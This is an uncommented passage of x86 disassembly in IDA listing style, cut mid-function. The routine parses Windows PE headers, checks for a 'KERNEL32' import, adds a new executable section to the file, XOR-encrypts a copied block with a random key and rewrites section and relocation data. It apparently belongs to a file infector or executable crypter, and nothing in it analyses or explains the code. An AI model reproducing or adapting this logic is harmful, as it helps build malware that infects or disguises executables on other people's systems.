		movzx	eax, word ptr [eax+5Ch]
		cmp	eax, ds:100141E0h
		jz	loc_420DD0
		and	[ebp+var_1180],	0
		mov	eax, [ebp+var_8]
		movzx	edx, word ptr [eax+44h]
		mov	ecx, ds:10014134h
		add	ecx, 9
		cmp	edx, ecx
		jnz	short loc_41FA62
		mov	edx, ds:100140D8h
		add	edx, 3
		mov	[eax+1Ah], dl
		cmp	dl, 0
		jz	short loc_41FA62
		movzx	eax, word ptr [eax+46h]
		mov	[ebp+var_31EF0], eax
		movsx	eax, word ptr ds:10014128h
		cmp	[ebp+var_31EF0], eax
		jnb	loc_420DD0
		mov	[ebp+var_1180],	1


loc_41FA62:				; CODE XREF: sub_41F8D9+14Fj
					; sub_41F8D9+160j
		cmp	[ebp+var_1180],	0
		jz	short loc_41FA89
		mov	eax, [ebp+var_8]
		add	eax, 6
		movzx	edx, word ptr [eax]
		movsx	ecx, word ptr ds:1001411Ch
		add	ecx, ds:100141D8h
		sub	ecx, 3
		sub	edx, ecx
		mov	[eax], dx


loc_41FA89:				; CODE XREF: sub_41F8D9+190j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+80h]
		mov	[ebp+var_430], eax
		mov	eax, 28h
		mov	[ebp+var_31EF0], eax
		mov	edx, [ebp+var_8]
		mov	[ebp+var_31EF8], edx
		mov	ecx, [ebp+var_840]
		add	ecx, 0F8h
		mov	[ebp+var_31EF4], eax
		movzx	edi, word ptr [edx+6]
		mul	edi
		mov	[ebp+var_31EFC], eax
		mov	edx, ecx
		add	edx, eax
		mov	[ebp+var_31F04], edx
		mov	eax, [ebp+var_31EF0]
		mov	[ebp+var_31F00], eax
		movsx	ecx, word ptr ds:1001411Ch
		mul	ecx
		mov	[ebp+var_31F08], eax
		mov	eax, [ebp+var_31F04]
		mov	edx, [ebp+var_31F08]
		add	eax, edx
		mov	edx, [ebp+var_31EF8]
		add	eax, [edx+0D4h]
		cmp	eax, [edx+54h]
		ja	loc_420DD0
		movsx	eax, word ptr ds:100140B4h
		add	eax, ds:100140E0h
		sub	eax, 6
		mov	[ebp+var_20], eax
		mov	eax, ds:100140FCh
		add	eax, ds:10014248h
		sub	eax, 7
		mov	[ebp+var_C54], eax
		mov	eax, ds:100141F4h
		add	eax, ds:1001424Ch
		sub	eax, 0Ch
		mov	[ebp+var_105C],	eax
		mov	eax, ds:100141C8h
		add	eax, ds:10014100h
		sub	eax, 9
		mov	[ebp+var_434], eax
		jmp	loc_41FC28
; ---------------------------------------------------------------------------


loc_41FB66:				; CODE XREF: sub_41F8D9+35Cj
		mov	eax, 28h
		mul	[ebp+var_434]
		mov	[ebp+var_31F14], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F14]
		mov	esi, edx
		add	esi, eax
		mov	eax, [esi+0Ch]
		add	eax, [esi+8]
		mov	[ebp+var_31F0C], eax
		mov	eax, [esi+14h]
		add	eax, [esi+10h]
		mov	[ebp+var_31F10], eax
		mov	eax, [ebp+var_20]
		cmp	[ebp+var_31F0C], eax
		jbe	short loc_41FBBD
		mov	eax, [ebp+var_31F0C]
		mov	[ebp+var_20], eax


loc_41FBBD:				; CODE XREF: sub_41F8D9+2D9j
		mov	eax, [ebp+var_C54]
		cmp	[ebp+var_31F10], eax
		jbe	short loc_41FBD7
		mov	eax, [ebp+var_31F10]
		mov	[ebp+var_C54], eax


loc_41FBD7:				; CODE XREF: sub_41F8D9+2F0j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+0A8h]
		cmp	eax, [esi+0Ch]
		jb	short loc_41FC02
		cmp	eax, [ebp+var_31F0C]
		jnb	short loc_41FC02
		mov	eax, [esi+14h]
		mov	edx, [ebp+var_8]
		add	eax, [edx+0A8h]
		sub	eax, [esi+0Ch]
		mov	[ebp+var_105C],	eax


loc_41FC02:				; CODE XREF: sub_41F8D9+30Aj
					; sub_41F8D9+312j
		mov	eax, [ebp+var_430]
		mov	edx, [esi+0Ch]
		cmp	eax, edx
		jb	short loc_41FC22
		add	edx, [esi+8]
		cmp	eax, edx
		jnb	short loc_41FC22
		sub	eax, [esi+0Ch]
		add	eax, [esi+14h]
		mov	[ebp+var_844], eax


loc_41FC22:				; CODE XREF: sub_41F8D9+334j
					; sub_41F8D9+33Bj
		inc	[ebp+var_434]


loc_41FC28:				; CODE XREF: sub_41F8D9+288j
		mov	eax, [ebp+var_8]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_434], eax
		jb	loc_41FB66
		mov	eax, ds:10014118h
		add	eax, 0FF4h
		movsx	edx, word ptr ds:10014160h
		add	eax, edx
		push	eax
		push	[ebp+var_20]
		call	sub_421499
		add	esp, 8
		mov	[ebp+var_20], eax
		cmp	[ebp+var_1180],	0
		jz	short loc_41FC6F
		mov	eax, [ebp+var_C54]
		mov	[ebp+var_10], eax


loc_41FC6F:				; CODE XREF: sub_41F8D9+38Bj
		mov	eax, [ebp+var_C54]
		cmp	[ebp+var_10], eax
		jz	short loc_41FC99
		mov	eax, [ebp+var_8]
		movsx	edx, word ptr ds:100141F0h
		add	edx, ds:10014124h
		sub	edx, 4
		cmp	[eax+0A8h], edx
		jz	loc_420DD0


loc_41FC99:				; CODE XREF: sub_41F8D9+39Fj
		mov	eax, ds:10014094h
		movsx	edx, word ptr ds:100140B4h
		add	eax, edx
		sub	eax, 6
		cmp	[ebp+var_105C],	eax
		jz	loc_41FD81
		mov	eax, ds:10014178h
		sub	eax, 5
		mov	[ebp+var_31F14], eax
		mov	eax, ds:100141FCh
		add	eax, ds:1001420Ch
		sub	eax, 0Bh
		mov	[ebp+var_31F0C], eax
		jmp	short loc_41FD28
; ---------------------------------------------------------------------------


loc_41FCDA:				; CODE XREF: sub_41F8D9+475j
		mov	eax, [ebp+var_105C]
		mov	[ebp+var_31F18], eax
		mov	eax, 1Ch
		mul	[ebp+var_31F0C]
		mov	[ebp+var_31F1C], eax
		mov	eax, [ebp+var_31F18]
		mov	edx, [ebp+var_31F1C]
		add	eax, edx
		add	eax, [ebp+var_4]
		mov	[ebp+var_31F10], eax
		mov	edx, [ebp+var_31F14]
		cmp	[eax+18h], edx
		jbe	short loc_41FD22
		mov	eax, [eax+18h]
		mov	[ebp+var_31F14], eax


loc_41FD22:				; CODE XREF: sub_41F8D9+43Ej
		inc	[ebp+var_31F0C]


loc_41FD28:				; CODE XREF: sub_41F8D9+3FFj
		mov	edi, [ebp+var_8]
		mov	eax, [edi+0ACh]
		mov	ecx, 1Ch
		shr	eax, 2
		mov	edx, 24924925h
		mul	edx
		mov	[ebp+var_31F18], edx
		mov	edi, edx
		cmp	[ebp+var_31F0C], edi
		jb	short loc_41FCDA
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_31F14]
		call	sub_421499
		add	esp, 8
		mov	[ebp+var_31F14], eax
		mov	eax, [ebp+var_C54]
		cmp	eax, [ebp+var_10]
		jz	short loc_41FD81
		cmp	[ebp+var_31F14], eax
		jnz	loc_420DD0


loc_41FD81:				; CODE XREF: sub_41F8D9+3D7j
					; sub_41F8D9+49Aj
		and	[ebp+var_1174],	0
		mov	eax, ds:100140F0h
		mov	[ebp+var_438], eax
		jmp	loc_41FED0
; ---------------------------------------------------------------------------


loc_41FD98:				; CODE XREF: sub_41F8D9+606j
		mov	eax, [ebp+var_844]
		add	eax, [ebp+var_438]
		add	eax, [ebp+var_4]
		mov	[ebp+var_32010], eax
		mov	edx, ds:10014214h
		movsx	ecx, word ptr ds:10014210h
		add	edx, ecx
		sub	edx, 7
		cmp	[eax], edx
		jz	loc_41FEE5
		mov	eax, [ebp+var_32010]
		mov	eax, [eax+0Ch]
		sub	eax, [ebp+var_430]
		add	eax, [ebp+var_844]
		mov	[ebp+var_32014], eax
		add	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_3200B]
		push	eax
		call	dword ptr ds:100101A4h
		add	esp, 8
		mov	eax, ds:10014208h
		movsx	edx, word ptr ds:10014120h
		add	eax, edx
		sub	eax, 0Fh
		mov	[ebp+var_31F0C], eax
		jmp	short loc_41FE3A
; ---------------------------------------------------------------------------


loc_41FE0F:				; CODE XREF: sub_41F8D9+57Aj
		mov	eax, [ebp+var_31F0C]
		mov	al, [ebp+eax+var_3200B]
		cmp	al, 61h
		jle	short loc_41FE34
		cmp	al, 7Ah
		jge	short loc_41FE34
		mov	eax, [ebp+var_31F0C]
		lea	eax, [ebp+eax+var_3200B]
		sub	byte ptr [eax],	20h


loc_41FE34:				; CODE XREF: sub_41F8D9+545j
					; sub_41F8D9+549j
		inc	[ebp+var_31F0C]


loc_41FE3A:				; CODE XREF: sub_41F8D9+534j
		mov	eax, [ebp+var_31F0C]
		movsx	eax, [ebp+eax+var_3200B]
		mov	edx, ds:10014100h
		sub	edx, 7
		cmp	eax, edx
		jnz	short loc_41FE0F
		mov	eax, ds:100140E0h
		cmp	byte ptr [ebp+eax+var_32010+3],	4Bh
		jnz	short loc_41FEC9
		mov	eax, ds:100141A4h
		add	eax, ds:100141D8h
		cmp	byte ptr [ebp+eax+var_32010+2],	45h
		jnz	short loc_41FEC9
		mov	eax, ds:10014108h
		mov	edx, ds:1001409Ch
		add	edx, eax
		cmp	byte ptr [ebp+edx+var_32014+1],	52h
		jnz	short loc_41FEC9
		mov	edx, ds:100141D0h
		cmp	[ebp+edx+var_3200B], 4Ch
		jnz	short loc_41FEC9
		cmp	byte ptr [ebp+eax+var_32010+2],	33h
		jnz	short loc_41FEC9
		mov	eax, ds:100140B0h
		add	eax, ds:10014238h
		cmp	[ebp+eax+var_32016], 32h
		jnz	short loc_41FEC9
		mov	[ebp+var_1174],	1


loc_41FEC9:				; CODE XREF: sub_41F8D9+589j
					; sub_41F8D9+59Ej ...
		add	[ebp+var_438], 14h


loc_41FED0:				; CODE XREF: sub_41F8D9+4BAj
		mov	eax, [ebp+var_8]
		mov	eax, [eax+84h]
		cmp	[ebp+var_438], eax
		jb	loc_41FD98


loc_41FEE5:				; CODE XREF: sub_41F8D9+4E8j
		cmp	[ebp+var_1174],	0
		jz	loc_420DD0
		mov	eax, [ebp+var_8]
		add	eax, 16h
		or	word ptr [eax],	1
		lea	eax, [ebp+var_31EC7]
		mov	[ebp+var_42C], eax
		mov	eax, [eax+3Ch]
		mov	[ebp+var_84C], eax
		add	eax, [ebp+var_42C]
		mov	[ebp+var_848], eax
		cmp	[ebp+var_1180],	0
		jnz	loc_4200CC
		mov	eax, [ebp+var_8]
		mov	[ebp+var_31F0C], eax
		movsx	edx, word ptr ds:10014190h
		sub	edx, 5
		cmp	[eax+0D0h], edx
		jz	loc_4200CC
		mov	edx, [eax+0D4h]
		mov	[ebp+var_31F10], edx
		mov	ecx, ds:10014208h
		sub	ecx, 6
		cmp	edx, ecx
		jz	loc_4200CC
		mov	ecx, 28h
		mov	edi, [ebp+var_840]
		add	edi, 0F8h
		mov	eax, ecx
		mov	edx, [ebp+var_31F0C]
		movzx	edx, word ptr [edx+6]
		mov	[ebp+var_31F14], edx
		mul	edx
		mov	[ebp+var_31F18], eax
		mov	edx, edi
		add	edx, eax
		mov	[ebp+var_31F20], edx
		mov	eax, ecx
		mov	[ebp+var_31F1C], eax
		mov	ecx, ds:100141B4h
		movsx	edi, word ptr ds:10014210h
		add	ecx, edi
		sub	ecx, 6
		mul	ecx
		mov	[ebp+var_31F24], eax
		mov	eax, [ebp+var_31F20]
		mov	edx, [ebp+var_31F24]
		add	eax, edx
		mov	edx, [ebp+var_31F10]
		add	eax, edx
		mov	edx, [ebp+var_31F0C]
		cmp	[edx+54h], eax
		jbe	loc_4200CC
		mov	eax, [ebp+var_840]
		add	eax, 0F8h
		mov	[ebp+var_31F30], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F34], eax
		mov	eax, [ebp+var_31F30]
		mov	edx, [ebp+var_31F34]
		add	eax, edx
		mov	[ebp+var_31F28], eax
		mov	[ebp+var_31F38], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_848]
		movzx	ecx, word ptr [ecx+6]
		movsx	edi, word ptr ds:10014220h
		add	edi, ds:100140C8h
		sub	edi, 7
		sub	ecx, edi
		mul	ecx
		mov	[ebp+var_31F3C], eax
		mov	eax, [ebp+var_31F38]
		mov	edx, [ebp+var_31F3C]
		add	eax, edx
		mov	[ebp+var_31F2C], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+0D4h]
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_31F28]
		add	edx, eax
		push	edx
		mov	edx, [ebp+var_31F2C]
		add	edx, eax
		push	edx
		call	dword ptr ds:10012808h
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		add	eax, 0D0h
		mov	[ebp+var_31F40], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_848]
		movzx	ecx, word ptr [ecx+6]
		movsx	edi, word ptr ds:100141F0h
		add	edi, ds:1001413Ch
		sub	edi, 8
		sub	ecx, edi
		mul	ecx
		mov	[ebp+var_31F44], eax
		mov	eax, [ebp+var_31F40]
		mov	edx, eax
		mov	ecx, [ebp+var_31F44]
		add	[edx], ecx


loc_4200CC:				; CODE XREF: sub_41F8D9+64Bj
					; sub_41F8D9+66Aj ...
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_10]
		call	sub_421499
		mov	[ebp+var_10], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F28], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F28]
		mov	esi, edx
		add	esi, eax
		push	100152A9h
		call	sub_41B08F
		push	eax
		push	esi
		call	dword ptr ds:100101A4h
		mov	eax, ds:10014200h
		add	eax, 1FFFAh
		mov	[esi+8], eax
		mov	eax, [ebp+var_20]
		mov	[esi+0Ch], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		mov	eax, [ebp+arg_8]
		add	eax, 0Dh
		push	eax
		call	sub_421499
		mov	[esi+10h], eax
		mov	eax, [ebp+var_10]
		mov	[esi+14h], eax
		mov	eax, ds:1001417Ch
		add	eax, 0E0000017h
		mov	[esi+24h], eax
		mov	eax, ds:10014198h
		inc	eax
		add	eax, ds:10014094h
		push	eax
		mov	eax, ds:100140BCh
		movsx	edx, word ptr ds:10014220h
		add	eax, edx
		sub	eax, 9
		push	eax
		mov	eax, esi
		add	eax, 18h
		push	eax
		call	dword ptr ds:10012818h
		mov	eax, [ebp+var_20]
		mov	[ebp+var_1060],	eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_850], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		mov	eax, [ebp+var_10]
		add	eax, [esi+10h]
		push	eax
		call	sub_421499
		add	esp, 30h
		mov	[ebp+var_10], eax
		movsx	eax, word ptr ds:100140E8h
		mov	edx, ds:100141A8h
		lea	eax, [eax+edx+1FFF4h]
		add	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		add	eax, 6
		inc	word ptr [eax]
		mov	eax, [ebp+var_8]
		mov	edx, [esi+0Ch]
		add	edx, [esi+8]
		mov	[eax+50h], edx
		call	dword ptr ds:10013D90h
		movsx	edi, word ptr ds:10014228h
		sub	edi, 3
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		add	edi, edx
		mov	[ebp+var_1064],	edi
		mov	eax, ds:10014124h
		sub	eax, 2
		mov	edx, [ebp+var_42C]
		mov	ecx, edi
		xor	ecx, 4Dh
		mov	[edx+eax], cl
		mov	edi, ds:10014134h
		sub	edi, 3
		mov	ecx, [ebp+arg_8]
		shr	ecx, 9
		mov	[edx+edi], cl
		call	dword ptr ds:10013D90h
		mov	edi, [ebp+var_84C]
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F30], edx
		mov	[ebp+var_31F2C], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F30]
		mov	[ecx+edi], dl
		call	dword ptr ds:10013D90h
		movsx	edx, word ptr ds:100140F8h
		add	edx, ds:100141CCh
		dec	edx
		add	edi, edx
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F38], edx
		mov	[ebp+var_31F34], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F38]
		mov	[ecx+edi], dl
		movsx	eax, word ptr ds:1001421Ch
		mov	edx, ds:10014138h
		lea	eax, [eax+edx+35h]
		mov	[ebp+var_43C], eax
		jmp	short loc_4202D7
; ---------------------------------------------------------------------------


loc_4202A2:				; CODE XREF: sub_41F8D9+A0Aj
		call	dword ptr ds:10013D90h
		mov	edi, [ebp+var_43C]
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F40], edx
		mov	[ebp+var_31F3C], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F40]
		mov	[ecx+edi], dl
		inc	[ebp+var_43C]


loc_4202D7:				; CODE XREF: sub_41F8D9+9C7j
		mov	eax, [ebp+var_84C]
		cmp	[ebp+var_43C], eax
		jb	short loc_4202A2
		cmp	[ebp+var_1180],	0
		jz	short loc_420360
		mov	eax, [ebp+var_8]
		mov	edx, [eax+34h]
		add	edx, [eax+28h]
		mov	eax, ds:100140C0h
		add	eax, ds:10014168h
		sub	eax, 6
		add	edx, eax
		mov	[ebp+var_31F44], edx
		mov	eax, [ebp+var_850]
		movsx	edx, word ptr ds:100141DCh
		add	edx, ds:1001415Ch
		dec	edx
		add	eax, edx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+eax]
		mov	[ebp+var_31F48], eax
		mov	edx, ds:1001422Ch
		add	edx, 0FFFFFFFBh
		sub	eax, edx
		add	eax, [ebp+var_31F44]
		mov	edx, ds:10014094h
		add	edx, 2
		add	eax, edx
		mov	[ebp+var_31F4C], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_31F4C]
		sub	edx, [eax+34h]
		mov	[eax+28h], edx


loc_420360:				; CODE XREF: sub_41F8D9+A13j
		push	0Dh
		push	1001428Ch
		lea	eax, [ebp+var_31ED4]
		push	eax
		call	dword ptr ds:10012808h
		mov	eax, [esi+10h]
		add	eax, 0Dh
		push	eax
		lea	eax, [ebp+var_31ED4]
		push	eax
		mov	eax, [esi+14h]
		add	eax, [ebp+var_4]
		push	eax
		call	dword ptr ds:10012808h
		add	esp, 18h
		mov	eax, [esi+14h]
		add	eax, 0Dh
		mov	[ebp+var_1068],	eax
		movsx	edx, word ptr ds:10014228h
		sub	edx, 2
		add	eax, edx
		mov	[ebp+var_424], eax
		jmp	short loc_4203CC
; ---------------------------------------------------------------------------


loc_4203B2:				; CODE XREF: sub_41F8D9+B02j
		mov	eax, [ebp+var_424]
		add	eax, [ebp+var_4]
		movzx	edx, byte ptr [eax]
		xor	edx, [ebp+var_1064]
		mov	[eax], dl
		inc	[ebp+var_424]


loc_4203CC:				; CODE XREF: sub_41F8D9+AD7j
		mov	eax, [ebp+var_1068]
		add	eax, [ebp+arg_8]
		cmp	[ebp+var_424], eax
		jb	short loc_4203B2
		mov	eax, ds:10014124h
		movsx	edx, word ptr ds:10014204h
		add	eax, edx
		sub	eax, 8
		mov	[ebp+var_18], eax
		mov	eax, ds:10014168h
		add	eax, ds:10014240h
		sub	eax, 9
		mov	[ebp+var_440], eax
		jmp	loc_420673
; ---------------------------------------------------------------------------


loc_42040A:				; CODE XREF: sub_41F8D9+DAAj
		mov	eax, 28h
		mul	[ebp+var_440]
		mov	[ebp+var_31F48], eax
		mov	eax, [ebp+var_84C]
		mov	edx, [ebp+var_42C]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F48]
		mov	ebx, edx
		add	ebx, eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F4C], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F4C]
		mov	esi, edx
		add	esi, eax
		movsx	eax, word ptr ds:100140C4h
		add	eax, ds:100140B0h
		sub	eax, 12h
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_4204B2
		movsx	eax, word ptr ds:1001421Ch
		add	eax, ds:10014240h
		sub	eax, 5
		cmp	byte ptr [ebx+eax], 72h
		jnz	short loc_4204B2
		mov	eax, ds:100140ACh
		add	eax, ds:100140D0h
		dec	eax
		cmp	byte ptr [ebx+eax], 63h
		jnz	short loc_4204B2
		mov	eax, [ebx+14h]
		mov	[ebp+var_1178],	eax
		jmp	loc_42066D
; ---------------------------------------------------------------------------


loc_4204B2:				; CODE XREF: sub_41F8D9+BA1j
					; sub_41F8D9+BB7j ...
		mov	eax, ds:100141B4h
		add	eax, ds:10014150h
		sub	eax, 6
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_4204FC
		mov	eax, ds:10014218h
		sub	eax, 8
		cmp	byte ptr [ebx+eax], 65h
		jnz	short loc_4204FC
		mov	eax, ds:100141ACh
		add	eax, ds:100141A0h
		cmp	byte ptr [ebx+eax], 61h
		jnz	short loc_4204FC
		mov	eax, [ebx+14h]
		mov	[ebp+var_117C],	eax
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_1184],	eax
		jmp	loc_42066D
; ---------------------------------------------------------------------------


loc_4204FC:				; CODE XREF: sub_41F8D9+BEBj
					; sub_41F8D9+BF9j ...
		mov	eax, ds:100141E0h
		add	eax, ds:10014238h
		sub	eax, 0Ah
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_420541
		mov	eax, ds:10014218h
		add	eax, ds:10014200h
		sub	eax, 0Eh
		cmp	byte ptr [ebx+eax], 69h
		jnz	short loc_420541
		movsx	eax, word ptr ds:10014098h
		movsx	edx, word ptr ds:10014228h
		add	eax, edx
		sub	eax, 4
		cmp	byte ptr [ebx+eax], 61h
		jz	loc_42066D


loc_420541:				; CODE XREF: sub_41F8D9+C35j
					; sub_41F8D9+C49j
		push	ebx
		push	esi
		call	dword ptr ds:100101A4h
		mov	eax, [ebx+8]
		mov	[esi+8], eax
		mov	eax, [ebp+var_20]
		mov	[esi+0Ch], eax
		mov	eax, [ebx+10h]
		mov	[esi+10h], eax
		mov	eax, [ebp+var_10]
		mov	[esi+14h], eax
		mov	eax, [ebx+24h]
		mov	[esi+24h], eax
		mov	eax, ds:100141A4h
		add	eax, 2
		movsx	edx, word ptr ds:10014194h
		add	eax, edx
		push	eax
		movsx	eax, word ptr ds:100140F4h
		sub	eax, 7
		push	eax
		mov	eax, esi
		add	eax, 18h
		push	eax
		call	dword ptr ds:10012818h
		mov	edi, [ebp+var_18]
		mov	edx, [ebx+0Ch]
		mov	[ebp+edi*4+var_420], edx
		mov	edx, [ebx+8]
		mov	[ebp+edi*4+var_83C], edx
		mov	edx, [esi+0Ch]
		mov	[ebp+edi*4+var_C4C], edx
		mov	edx, [esi+14h]
		mov	[ebp+edi*4+var_1050], edx
		inc	[ebp+var_18]
		mov	eax, [ebx+10h]
		add	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_31F44], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_10]
		call	sub_421499
		add	esp, 1Ch
		mov	[ebp+var_10], eax
		mov	eax, ds:100140ACh
		movsx	edx, word ptr ds:10014128h
		add	eax, edx
		sub	eax, 9
		cmp	byte ptr [ebx+eax], 64h
		jnz	short loc_420618
		mov	eax, [ebp+var_31F44]
		cmp	[ebp+var_10], eax
		jbe	short loc_420618
		mov	ecx, [ebp+var_10]
		sub	ecx, eax
		mov	[ebp+var_31F50], ecx
		mov	eax, ecx
		add	[esi+8], eax
		mov	eax, ecx
		add	[esi+10h], eax


loc_420618:				; CODE XREF: sub_41F8D9+D1Dj
					; sub_41F8D9+D28j
		mov	eax, ds:100141A8h
		add	eax, 0FF1h
		movsx	edx, word ptr ds:10014220h
		add	eax, edx
		push	eax
		mov	eax, [ebp+var_20]
		add	eax, [ebx+8]
		push	eax
		call	sub_421499
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		add	eax, 6
		inc	word ptr [eax]
		mov	eax, [ebp+var_8]
		mov	edx, [esi+0Ch]
		add	edx, [ebx+8]
		mov	[eax+50h], edx
		push	dword ptr [esi+10h]
		mov	eax, [ebx+14h]
		add	eax, [ebp+var_42C]
		push	eax
		mov	eax, [esi+14h]
		add	eax, [ebp+var_4]
		push	eax
		call	dword ptr ds:10012808h
		add	esp, 14h


loc_42066D:				; CODE XREF: sub_41F8D9+BD4j
					; sub_41F8D9+C1Ej ...
		inc	[ebp+var_440]


loc_420673:				; CODE XREF: sub_41F8D9+B2Cj
		mov	eax, [ebp+var_848]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_440], eax
		jb	loc_42040A
		mov	eax, [ebp+var_1178]
		add	eax, [ebp+var_42C]
		mov	[ebp+var_14], eax


loc_420698:				; CODE XREF: sub_41F8D9+FF5j
		movsx	eax, word ptr ds:10014180h
		sub	eax, 5
		mov	[ebp+var_1C], eax
		jmp	short loc_420703
; ---------------------------------------------------------------------------


loc_4206A7:				; CODE XREF: sub_41F8D9+E30j
		mov	edi, [ebp+var_1C]
		mov	edx, [ebp+var_14]
		mov	edx, [edx]
		cmp	[ebp+edi*4+var_420], edx
		jnz	short loc_4206C3
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	[ebp+var_C50], eax


loc_4206C3:				; CODE XREF: sub_41F8D9+DDDj
		mov	edi, [ebp+var_1C]
		shl	edi, 2
		mov	edx, [ebp+edi+var_420]
		add	edx, [ebp+edi+var_83C]
		mov	edi, [ebp+var_14]
		cmp	edx, [edi]
		jbe	short loc_420700
		mov	edi, [ebp+var_1C]
		mov	edi, [ebp+edi*4+var_1050]
		mov	[ebp+var_106C],	edi
		mov	edi, [ebp+var_1C]
		mov	edi, [ebp+edi*4+var_C4C]
		mov	[ebp+var_1054],	edi
		jmp	short loc_42070B
; ---------------------------------------------------------------------------


loc_420700:				; CODE XREF: sub_41F8D9+E03j
		inc	[ebp+var_1C]


loc_420703:				; CODE XREF: sub_41F8D9+DCCj
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_1C], eax
		jb	short loc_4206A7


loc_42070B:				; CODE XREF: sub_41F8D9+E25j
		mov	eax, ds:1001418Ch
		add	eax, ds:100140B0h
		sub	eax, 0Ah
		mov	[ebp+var_428], eax
		jmp	loc_420894
; ---------------------------------------------------------------------------


loc_420724:				; CODE XREF: sub_41F8D9+FC7j
		mov	eax, [ebp+var_428]
		movsx	edx, word ptr ds:100141DCh
		dec	edx
		add	eax, edx
		add	eax, [ebp+var_14]
		mov	[ebp+var_31F48], eax
		mov	ax, [eax]
		mov	word ptr [ebp+var_31F44], ax
		movzx	eax, word ptr [ebp+var_31F44]
		mov	edx, ds:10014184h
		dec	edx
		cmp	eax, edx
		jz	loc_4208A6
		movzx	edi, word ptr [ebp+var_31F44]
		mov	edx, ds:10014238h
		add	edx, ds:10014218h
		mov	ecx, edx
		sub	ecx, 6
		sar	edi, cl
		mov	word ptr [ebp+var_31F4C+2], di
		movzx	edi, word ptr [ebp+var_31F44]
		movsx	edx, word ptr ds:10014090h
		add	edx, ds:10014100h
		mov	ecx, edx
		sub	ecx, 8
		shl	edi, cl
		mov	word ptr [ebp+var_31F44+2], di
		movzx	edi, word ptr [ebp+var_31F44+2]
		mov	edx, ds:100141C8h
		mov	ecx, edx
		add	ecx, ds:10014150h
		sar	edi, cl
		mov	word ptr [ebp+var_31F44+2], di
		movzx	eax, word ptr [ebp+var_31F44+2]
		mov	edx, ds:100140C8h
		movsx	ecx, word ptr ds:100140E4h
		add	edx, ecx
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_4207F5
		mov	eax, ds:100141A0h
		add	eax, ds:100141FCh
		sub	eax, 4
		cmp	[ebp+var_428], eax
		jnz	loc_4208A6


loc_4207F5:				; CODE XREF: sub_41F8D9+F00j
		mov	eax, [ebp+var_848]
		mov	eax, [eax+34h]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		movzx	edx, word ptr [ebp+var_31F44+2]
		add	eax, edx
		mov	[ebp+var_31F50], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1054]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		sub	eax, [ebp+var_C50]
		movzx	edx, word ptr [ebp+var_31F44+2]
		add	eax, edx
		mov	[ebp+var_31F54], eax
		sub	eax, [ebp+var_31F50]
		mov	[ebp+var_31F58], eax
		movzx	eax, word ptr [ebp+var_31F4C+2]
		mov	edx, ds:100141A0h
		add	edx, 2
		add	edx, ds:100141C4h
		cmp	eax, edx
		jnz	short loc_420889
		mov	eax, [ebp+var_106C]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		sub	eax, [ebp+var_C50]
		movzx	edx, word ptr [ebp+var_31F44+2]
		add	eax, edx
		add	eax, [ebp+var_4]
		mov	[ebp+var_31F5C], eax
		mov	edx, [ebp+var_31F58]
		add	[eax], edx


loc_420889:				; CODE XREF: sub_41F8D9+F83j
		mov	eax, ds:100140E0h
		add	[ebp+var_428], eax


loc_420894:				; CODE XREF: sub_41F8D9+E46j
		mov	eax, [ebp+var_14]
		mov	eax, [eax+4]
		cmp	[ebp+var_428], eax
		jb	loc_420724


loc_4208A6:				; CODE XREF: sub_41F8D9+E7Ej
					; sub_41F8D9+F16j
		mov	eax, [ebp+var_14]
